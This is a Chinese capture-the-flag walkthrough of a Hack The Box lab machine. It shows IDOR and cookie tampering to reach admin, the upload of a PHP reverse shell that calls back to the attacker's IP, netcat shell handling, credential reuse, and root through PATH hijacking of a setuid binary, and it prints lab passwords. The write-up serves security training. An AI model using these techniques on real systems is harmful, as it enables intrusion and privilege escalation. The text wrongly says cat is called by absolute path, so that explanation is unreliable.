连接配置
见这篇文章开始部分,在此不再赘述
扫描
根据给出的IP地址,使用nmap进行扫描
nmap -sS -F -sV 10.10.10.28
-sS:半开扫描,Nmap发送SYN包到远程主机,不建立完整的三次握手
-F:快速扫描,扫描一些常用端口
-sV:探测开启的端口来获取服务、版本信息
如图所示,发现其开放了22和80端口,接下来我们用浏览器进入网站(10.10.10.28:80)进行检查
路径泄露
方法一
发现可以登录,但是目前没有找到入口,于是我们打开burpsuite截包,在站点地图(Target-Site map)内可以找到一个有趣的路径
方法二
这里还有另外一个方法,在浏览器内F12
打开调试,发现html文件中也会泄露路径
我们用浏览器访问这个路径:http://10.10.10.28/cdn-cgi/login
登录
出现了一个登录框,可以去尝试采用爆破等手段,但这里的账号是admin
密码是上一节(点这里)已经获得的MEGACORP_4dm1n!!
,登录后跳转到门户页面,随便点一点,注意到Uploads页面需要超级管理员才可以上传
但是目前我们不是超级管理员权限,但是发现Account
页面会显示当前用户信息,在burpsuite中截包
SQL注入尝试与越权
观察数据包,不难发现自定义cookie由user
和role
组成,且user值为页面中的Access ID
,还可以观察到URL里面的id
参数,可以联想到SQL注入和越权,先尝试使用sqlmap
进行注入测试
sqlmap -l 1.txt --level 3
-l:从文件内读取请求包
将burpsuite的请求包保存在1.txt
文件内,再用sqlmap进行注入测试
经过测试发现并无SQL注入存在,于是尝试修改id参数
发现确实存在越权,于是我们在终端内用循环生成数字1~100到2.txt
内
for i in `seq 1 100`; do echo $i >>2.txt;done;
再使用burpsuite的Intruder模块进行自动化攻击
将上面的请求包右键,发送到Intruder模块中
进入Positions页面,将id的数值设置为替换位置,使用Sniper模式
进入Payloads页面,点击Load,从刚才我们生成的2.txt中读取数字列表
回到Target页面,点击Start attack
点击Length排序,发现有几个响应包大小明显与其他的不一样,这就是存在的id了,可以看到id参数为30的响应包中,有个用户名为super admin,Access ID
也就是上述请求包中自定义cookie的user
参数为86575
,也可以访问URL:http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=30加以印证
可以猜想,手动修改cookie的user
参数为86575
可以进行越权行为,再次访问Uploads页面并使用burpsuite截包后手动修改请求包
可以看到页面已正常跳转,可以上传文件了
利用文件上传反弹webshell
我们选择kali自带的php webshell复制到桌面上
cp /usr/share/webshells/php/php-reverse-shell.php ~/桌面
修改里面的本机地址和监听端口,我这里本机地址为10.10.14.15
回到浏览器中,将文件选择好后,点击Upload按钮时截包,再次将cookie中的user
改为86575
,提示上传成功
但是目前我们还不知道上传位置,使用dirsearch
进行扫描,点击这里进行下载
python3 dirsearch.py -u 10.10.10.28 -e php
可以推测上传路径为/uploads
下,稍后进行印证
启用netcat
监听设置的端口来接收webshell
nc -nvvlp 1234
使用curl
来触发php从而反弹webshell
curl http://10.10.10.28/uploads/php-reverse-shell.php
切回nc的终端,发现nc接收到了webshell,证明路径与我们的推测相符
升级shell
我们来复习一下交互式shell和非交互式shell的区别:
交互式模式
就是shell等待你的输入,并且立即执行你提交的命令,退出后才终止
非交互式模式
就是以shell script方式执行,shell不与你进行交互,而是读取存放在文件中的命令并执行它们,读取到结尾就终止
用netcat获得的shell是非交互式
的,不能传递tab
来进行补全,不能使用su
、nano
,也不能执行ctrl+c
等命令,所以我们需要升级为交互式
的shell
SHELL=/bin/bash script -q /dev/null //见注解1
Ctrl-Z //见注解2
stty raw -echo //见注解3
fg //见注解4
reset //见注解5
xterm //见注解6
- 将在环境变量下将shell设置为/bin/bash且参数为-q和/dev/null的情况下运行脚本,
-q
参数为静默运行,输出到/dev/null
(黑洞)里,如果不加script -q /dev/null不会新启一个bash,shell=/bin/bash只是设置shell为bash,加了以后会给你挂起一个新的shell,并帮你记录所有内容(这里感谢一下Faz和众多好友的探讨
) - 将netcat暂挂至后台
- 将本地终端置于原始模式,以免干扰远程终端
- 将netcat返回到前台,注意:这里不会显示输入的命令
- 重置远程终端,经测试也可以不进行此操作
- 运行xterm
执行完上述操作后,我们会获得一个交互式
的shell,可以执行su、ctrl+c等命令,且可以tab
自动补全了
横向移动
接下来,我们翻阅各个目录,发现在/var/www/html/cdn-cgi/login
目录中存在一个数据库的连接信息db.php
,里面包含用户名为robert
,密码为M3g4C0rpUs3r!
的用户凭证
这样,我们可以用su
命令并输入密码来切换用户
su robert
在这里我们可以找到位于robert用户家目录
下的user.txt
,拿到user flag
提权
使用id
命令发现robert用户属于bugtracker组,我们可以尝试查找此组是否具有特殊的访问权限
find / -type f -group bugtracker 2>/dev/null //-type f 为查找普通文档,-group bugtracker 限定查找的组为bugtracker,2>/dev/null 将错误输出到黑洞(不显示)
ls -al /usr/bin/bugtracker //-al 以长格式方式显示并且显示隐藏文件
可以看到红色箭头位置,发现拥有者有s
(setuid)特殊权限,可执行的文件搭配这个权限,可以得到特权,任意存取该文件的所有者能使用的全部系统资源,我们尝试运行它,发现这个文件根据提供的ID值输出以该数字为编号的bug报告
用script
命令看看它是怎么运行的
观察红色箭头位置可以发现:
- bugtracker调用系统中的
cat
命令输出了位于/root/reports/目录下的bug报告,robert用户本应无权访问/root目录,而bugtracker设置了setuid后就拥有了/root目录的访问,就拥有了root权限 - 且cat命令是使用绝对路径而不是相对路径来调用的,即在当前用户的环境变量
指定的路径
中搜寻cat命令,可以考虑创建一个恶意的cat
命令,并修改当前用户环境变量,将权限提升为root
export PATH=/tmp:$PATH //将/tmp目录设置为环境变量
cd /tmp/ //切换到/tmp目录下
echo '/bin/sh' > cat //在此构造恶意的cat命令
chmod +x cat //赋予执行权限
这样bugtracker再次调用cat命令时实际上调用的是/tmp目录下的恶意的cat命令,我们运行一下bugtracker可以看出,此时robert用户临时具有了root权限,执行id
命令发现只是robert用户的uid变为了root,不是真正的root用户
然后我们可以找到/root
目录下的root.txt
拿到root flag(此时cat命令已被替换,无法读取文件,所以使用more
命令)
后续
在/root/.config/filezilla
目录下有一个FileZilla配置文件filezilla.xml
,里面包含明文的FTP用户凭据ftpuser/mc@F1l3ZilL4
,用于下一个靶机的渗透测试
完结
如有疑问,可在评论区内提出,我会尽力解答。
如有错误,欢迎指正。
感谢观看!